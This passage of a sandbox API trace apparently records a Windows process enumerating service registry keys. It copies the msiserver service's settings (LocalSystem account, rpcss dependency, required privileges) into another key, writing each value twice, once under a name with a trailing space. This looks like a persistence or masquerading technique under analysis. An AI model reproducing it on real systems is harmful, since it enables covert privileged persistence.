lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0260.858] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0260.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0260.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0260.861] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0260.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0260.861] RegCloseKey (hKey=0xc4) returned 0x0 [0260.861] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.861] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.861] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0260.861] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.862] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.862] RegCloseKey (hKey=0x14c) returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0260.863] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0260.863] RegCloseKey (hKey=0xc4) returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.864] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.865] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.865] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.865] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.865] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.865] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.865] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.865] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0260.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0260.865] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0260.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0260.865] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.865] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.866] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.867] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0260.867] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0260.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.867] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.868] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.868] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0260.868] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.869] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, 